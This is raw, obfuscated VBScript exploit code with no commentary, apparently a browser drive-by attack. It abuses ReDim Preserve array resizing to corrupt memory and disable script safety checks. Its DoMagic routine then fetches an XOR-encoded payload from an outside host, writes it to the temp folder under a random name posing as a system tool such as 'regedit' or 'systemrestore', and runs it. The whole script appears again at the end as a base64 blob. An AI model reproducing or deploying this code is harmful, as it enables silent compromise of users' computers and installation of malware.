Imports System
Function fdg(s, k)
Dim o
Dim j
Dim i
o = ""
j = 1
i = 1
For i = 1 To Len(s)
o = o & Chr(Asc(Mid(s, i, 1)) Xor Asc(Mid(k, j, 1)))
j = j + 1
If Len(k) < j Then j = 1
Next
fdg = o
End Function
Function gfh(a)
Dim cl1, cl2, cl3, pl1, pl2, pl3
Dim l
cl1 = 1
cl2 = 1
cl3 = 1
l = LenB(a)
Do While cl1 <= l
pl3 = pl3 & Chr(AscB(MidB(a, cl1, 1)))
cl1 = cl1 + 1
cl3 = cl3 + 1
If cl3 > 300 Then
pl2 = pl2 & pl3
pl3 = ""
cl3 = 1
cl2 = cl2 + 1
If cl2 > 200 Then
pl1 = pl1 & pl2
pl2 = ""
cl2 = 1
End If
End If
Loop
gfh = pl1 & pl2 & pl3
End Function
Function tra(intLength)
Randomize
Dim strS, intI, eqa
eqa = Array("regedit", "defsrag", "dissdkchk", "diskswtool", "systemrestore")
strS = eqa(Int(Rnd() * UBound(eqa) + 1))
tra = strS
End Function
Sub DoMagic()
On Error Resume Next
Dim gds, jht, ytr
gds = "http://a...content-available-to-author-only...s.com/index.php?xHiMdbKdLxjHAos=l3SMfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7ceWRrQz2VjzmrEXdpkmkhPTvGQEyetLAV8QtAoQyvjJBKqKp0N6RgBnEB_CbJQlqw-fECT6PXl5gv2pHn4oieWN_PR-jp4k3Aygig"
jht = tra(7) & ".exe"
jky = Array("Scripting.FileSystemObject")
Set erq = CreateObject(Join(jky, ""))
vbw = erq.GetSpecialFolder(2) & "\"
bnm = vbw & jht
uoo = Array("WinHttp.WinHttpRequest.5.1")
Set rqq = CreateObject(Join(uoo, ""))
rqq.open "GET", gds, False
rqq.setRequestHeader "User-Agent", Navigator.UserAgent
rqq.send
If erq.FileExists(bnm) Then
erq.DeleteFile(bnm)
End If
If rqq.Status = 200 Then
Set ite = erq.CreateTextFile(bnm, True)
ite.Write fdg(gfh(rqq.responseBody), "vwMKCwwA")
ite.Close
End If
If erq.FileExists(bnm) Then
cmdline = bnm
nbv = Array("WScript.Shell")
CreateObject(Join(nbv, "")).Run cmdline
CreateObject(Join(nbv, "")).Run "control.exe " & cmdline
End If
End Sub
Dim aa()
Dim ab()
Dim yui
Dim a1
Dim a2
Dim a3
Dim rnda
Dim funclass
Dim nmd
Begin()
Function Begin()
uyr()
If Create() = True Then
nms()
End If
End Function
Function uyr()
Randomize()
ReDim aa(5)
ReDim ab(5)
yui = 13 + 17 * Rnd(6)
a3 = 7 + 3 * Rnd(5)
End Function
Function Create()
On Error Resume Next
Dim i
Create = False
For i = 0 To 800
If mnl( & h8000000) = True Then
Create = True
Exit For
End If
Next
End Function
Sub testaa()
End Sub
Function typ()
On Error Resume Next
i = testaa
i = Null
ReDim Preserve aa(a2)
ab(0) = 0
aa(a1) = i
ab(0) = 6.36598737437801E-314
nmd = chrw(01) & chrw(2176)
nmd = nmd & chrw(01)
nmd = nmd & chrw(00) & chrw(00) & chrw(00) & chrw(00) & chrw(00)
nmd = nmd & chrw(00)
nmd = nmd & chrw(32767) & chrw(00) & chrw(0)
aa(a1 + 2) = nmd
ab(2) = 0.174088534731324E-309
typ = aa(a1)
ReDim Preserve aa(yui)
End Function
Function nms()
On Error Resume Next
i = typ()
i = rtv(i + 8)
i = rtv(i + 16)
j = rtv(i + & h134)
For k = 0 To & h60 Step 4
j = rtv(i + & h120 + k)
If(j = 14) Then
j = 0
ReDim Preserve aa(a2)
aa(a1 + 2)(i + & h11c + k) = ab(4)
ReDim Preserve aa(yui)
j = 0
j = rtv(i + & h120 + k)
Exit For
End If
Next
ab(2) = 1.69759663316747E-313
DoMagic
End Function
Function mnl(addvl)
On Error Resume Next
Dim type1, type2, type3
mnl = False
yui = yui + a3
a1 = yui + 2
a2 = yui + addvl
ReDim Preserve aa(yui)
ReDim ab(yui)
If(IsObject(CreateObject)) Then
ReDim Preserve aa(a2)
End If
type1 = 1
ab(0) = 1.123456789012345678901234567890
aa(yui) = 10
If(IsObject(aa(a1 - 1)) = False) Then
If(VarType(aa(a1 - 1)) < > 0) Then
If(IsObject(aa(a1)) = False) Then
type1 = VarType(aa(a1))
End If
End If
End If
If(type1 = & h2f66) Then
mnl = True
End If
ReDim Preserve aa(yui)
End Function
Function rtv(add)
On Error Resume Next
ReDim Preserve aa(a2)
ab(0) = 0
aa(a1) = add + 4
ab(0) = 0.169759663316747E-312
rtv = LenB(aa(a1))
ab(0) = 0
ReDim Preserve aa(yui)
End Function
SW1wb3J0cyBTeXN0ZW0KCkZ1bmN0aW9uIGZkZyhzLCBrKQpEaW0gbwpEaW0gagpEaW0gaQpvID0gIiIKaiA9IDEKaSA9IDEKRm9yIGkgPSAxIFRvIExlbihzKQpvID0gbyAmIENocihBc2MoTWlkKHMsIGksIDEpKSBYb3IgQXNjKE1pZChrLCBqLCAxKSkpCmogPSBqICsgMQpJZiBMZW4oaykgPCBqIFRoZW4gaiA9IDEKTmV4dApmZGcgPSBvCkVuZCBGdW5jdGlvbgoKRnVuY3Rpb24gZ2ZoKGEpCkRpbSBjbDEsIGNsMiwgY2wzLCBwbDEsIHBsMiwgcGwzCkRpbSBsCmNsMSA9IDEKY2wyID0gMQpjbDMgPSAxCmwgPSBMZW5CKGEpCkRvIFdoaWxlIGNsMSA8PSBsCnBsMyA9IHBsMyAmIENocihBc2NCKE1pZEIoYSwgY2wxLCAxKSkpCmNsMSA9IGNsMSArIDEKY2wzID0gY2wzICsgMQpJZiBjbDMgPiAzMDAgVGhlbgpwbDIgPSBwbDIgJiBwbDMKcGwzID0gIiIKY2wzID0gMQpjbDIgPSBjbDIgKyAxCklmIGNsMiA+IDIwMCBUaGVuCnBsMSA9IHBsMSAmIHBsMgpwbDIgPSAiIgpjbDIgPSAxCkVuZCBJZgpFbmQgSWYKTG9vcApnZmggPSBwbDEgJiBwbDIgJiBwbDMKRW5kIEZ1bmN0aW9uCgpGdW5jdGlvbiB0cmEoaW50TGVuZ3RoKQpSYW5kb21pemUKRGltIHN0clMsIGludEksIGVxYQplcWEgPSBBcnJheSgicmVnZWRpdCIsICJkZWZzcmFnIiwgImRpc3Nka2NoayIsICJkaXNrc3d0b29sIiwgInN5c3RlbXJlc3RvcmUiKQpzdHJTID0gZXFhKEludChSbmQoKSAqIFVCb3VuZChlcWEpICsgMSkpCnRyYSA9IHN0clMKRW5kIEZ1bmN0aW9uCgpTdWIgRG9NYWdpYygpCk9uIEVycm9yIFJlc3VtZSBOZXh0CkRpbSBnZHMsIGpodCwgeXRyCmdkcyA9ICJodHRwOi8vYS4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ucy5jb20vaW5kZXgucGhwP3hIaU1kYktkTHhqSEFvcz1sM1NNZlByZkp4ekZHTVNVYi1uSkRhOUJNRVhDUlFMUGg0U0doS3JYQ0otb2ZTaWgxN09JRnh6c21UdTJLVl9PcHF4dmVOMFNaRlNPelFmWlBWUWx5WkFkQ2hvQl9PcWtpMHZIalVuSDFjbVE5bGFIWWdoUDdjZVdSclF6MlZqem1yRVhkcGtta2hQVHZHUUV5ZXRMQVY4UXRBb1F5dmpKQktxS3AwTjZSZ0JuRUJfQ2JKUWxxdy1mRUNUNlBYbDVndjJwSG40b2llV05fUFItanA0azNBeWdpZyIKamh0ID0gdHJhKDcpICYgIi5leGUiCmpreSA9IEFycmF5KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpClNldCBlcnEgPSBDcmVhdGVPYmplY3QoSm9pbihqa3ksICIiKSkKdmJ3ID0gZXJxLkdldFNwZWNpYWxGb2xkZXIoMikgJiAiXCIKYm5tID0gdmJ3ICYgamh0CnVvbyA9IEFycmF5KCJXaW5IdHRwLldpbkh0dHBSZXF1ZXN0LjUuMSIpClNldCBycXEgPSBDcmVhdGVPYmplY3QoSm9pbih1b28sICIiKSkKcnFxLm9wZW4gIkdFVCIsIGdkcywgRmFsc2UKcnFxLnNldFJlcXVlc3RIZWFkZXIgIlVzZXItQWdlbnQiLCBOYXZpZ2F0b3IuVXNlckFnZW50CnJxcS5zZW5kCklmIGVycS5GaWxlRXhpc3RzKGJubSkgVGhlbgplcnEuRGVsZXRlRmlsZShibm0pCkVuZCBJZgpJZiBycXEuU3RhdHVzID0gMjAwIFRoZW4KU2V0IGl0ZSA9IGVycS5DcmVhdGVUZXh0RmlsZShibm0sIFRydWUpCml0ZS5Xcml0ZSBmZGcoZ2ZoKHJxcS5yZXNwb25zZUJvZHkpLCAidndNS0N3d0EiKQppdGUuQ2xvc2UKRW5kIElmCgpJZiBlcnEuRmlsZUV4aXN0cyhibm0pIFRoZW4KY21kbGluZSA9IGJubQpuYnYgPSBBcnJheSgiV1NjcmlwdC5TaGVsbCIpCkNyZWF0ZU9iamVjdChKb2luKG5idiwgIiIpKS5SdW4gY21kbGluZQpDcmVhdGVPYmplY3QoSm9pbihuYnYsICIiKSkuUnVuICJjb250cm9sLmV4ZSAiICYgY21kbGluZQpFbmQgSWYKCkVuZCBTdWIKRGltIGFhKCkKRGltIGFiKCkKRGltIHl1aQpEaW0gYTEKRGltIGEyCkRpbSBhMwpEaW0gcm5kYQpEaW0gZnVuY2xhc3MKRGltIG5tZAoKQmVnaW4oKQoKRnVuY3Rpb24gQmVnaW4oKQp1eXIoKQpJZiBDcmVhdGUoKSA9IFRydWUgVGhlbgpubXMoKQpFbmQgSWYKRW5kIEZ1bmN0aW9uCgpGdW5jdGlvbiB1eXIoKQpSYW5kb21pemUoKQpSZURpbSBhYSg1KQpSZURpbSBhYig1KQp5dWkgPSAxMyArIDE3ICogUm5kKDYpCmEzID0gNyArIDMgKiBSbmQoNSkKRW5kIEZ1bmN0aW9uCgpGdW5jdGlvbiBDcmVhdGUoKQpPbiBFcnJvciBSZXN1bWUgTmV4dApEaW0gaQpDcmVhdGUgPSBGYWxzZQpGb3IgaSA9IDAgVG8gODAwCklmIG1ubCggJiBoODAwMDAwMCkgPSBUcnVlIFRoZW4KQ3JlYXRlID0gVHJ1ZQpFeGl0IEZvcgpFbmQgSWYKTmV4dApFbmQgRnVuY3Rpb24KClN1YiB0ZXN0YWEoKQpFbmQgU3ViCgpGdW5jdGlvbiB0eXAoKQpPbiBFcnJvciBSZXN1bWUgTmV4dAppID0gdGVzdGFhCmkgPSBOdWxsClJlRGltIFByZXNlcnZlIGFhKGEyKQphYigwKSA9IDAKYWEoYTEpID0gaQphYigwKSA9IDYuMzY1OTg3Mzc0Mzc4MDFFLTMxNApubWQgPSBjaHJ3KDAxKSAmIGNocncoMjE3NikKbm1kID0gbm1kICYgY2hydygwMSkKbm1kID0gbm1kICYgY2hydygwMCkgJiBjaHJ3KDAwKSAmIGNocncoMDApICYgY2hydygwMCkgJiBjaHJ3KDAwKQpubWQgPSBubWQgJiBjaHJ3KDAwKQpubWQgPSBubWQgJiBjaHJ3KDMyNzY3KSAmIGNocncoMDApICYgY2hydygwKQphYShhMSArIDIpID0gbm1kCmFiKDIpID0gMC4xNzQwODg1MzQ3MzEzMjRFLTMwOQp0eXAgPSBhYShhMSkKUmVEaW0gUHJlc2VydmUgYWEoeXVpKQpFbmQgRnVuY3Rpb24KCkZ1bmN0aW9uIG5tcygpCk9uIEVycm9yIFJlc3VtZSBOZXh0CmkgPSB0eXAoKQppID0gcnR2KGkgKyA4KQppID0gcnR2KGkgKyAxNikKaiA9IHJ0dihpICsgJiBoMTM0KQpGb3IgayA9IDAgVG8gJiBoNjAgU3RlcCA0CmogPSBydHYoaSArICYgaDEyMCArIGspCklmKGogPSAxNCkgVGhlbgpqID0gMApSZURpbSBQcmVzZXJ2ZSBhYShhMikKYWEoYTEgKyAyKShpICsgJiBoMTFjICsgaykgPSBhYig0KQpSZURpbSBQcmVzZXJ2ZSBhYSh5dWkpCmogPSAwCmogPSBydHYoaSArICYgaDEyMCArIGspCkV4aXQgRm9yCkVuZCBJZgpOZXh0CmFiKDIpID0gMS42OTc1OTY2MzMxNjc0N0UtMzEzCkRvTWFnaWMKRW5kIEZ1bmN0aW9uCgpGdW5jdGlvbiBtbmwoYWRkdmwpCk9uIEVycm9yIFJlc3VtZSBOZXh0CkRpbSB0eXBlMSwgdHlwZTIsIHR5cGUzCm1ubCA9IEZhbHNlCnl1aSA9IHl1aSArIGEzCmExID0geXVpICsgMgphMiA9IHl1aSArIGFkZHZsClJlRGltIFByZXNlcnZlIGFhKHl1aSkKUmVEaW0gYWIoeXVpKQpJZihJc09iamVjdChDcmVhdGVPYmplY3QpKSBUaGVuClJlRGltIFByZXNlcnZlIGFhKGEyKQpFbmQgSWYKdHlwZTEgPSAxCmFiKDApID0gMS4xMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAKYWEoeXVpKSA9IDEwCklmKElzT2JqZWN0KGFhKGExIC0gMSkpID0gRmFsc2UpIFRoZW4KSWYoVmFyVHlwZShhYShhMSAtIDEpKSA8ID4gMCkgVGhlbgpJZihJc09iamVjdChhYShhMSkpID0gRmFsc2UpIFRoZW4KdHlwZTEgPSBWYXJUeXBlKGFhKGExKSkKRW5kIElmCkVuZCBJZgpFbmQgSWYKSWYodHlwZTEgPSAmIGgyZjY2KSBUaGVuCm1ubCA9IFRydWUKRW5kIElmClJlRGltIFByZXNlcnZlIGFhKHl1aSkKRW5kIEZ1bmN0aW9uCgpGdW5jdGlvbiBydHYoYWRkKQpPbiBFcnJvciBSZXN1bWUgTmV4dApSZURpbSBQcmVzZXJ2ZSBhYShhMikKYWIoMCkgPSAwCmFhKGExKSA9IGFkZCArIDQKYWIoMCkgPSAwLjE2OTc1OTY2MzMxNjc0N0UtMzEyCnJ0diA9IExlbkIoYWEoYTEpKQphYigwKSA9IDAKUmVEaW0gUHJlc2VydmUgYWEoeXVpKQpFbmQgRnVuY3Rpb24=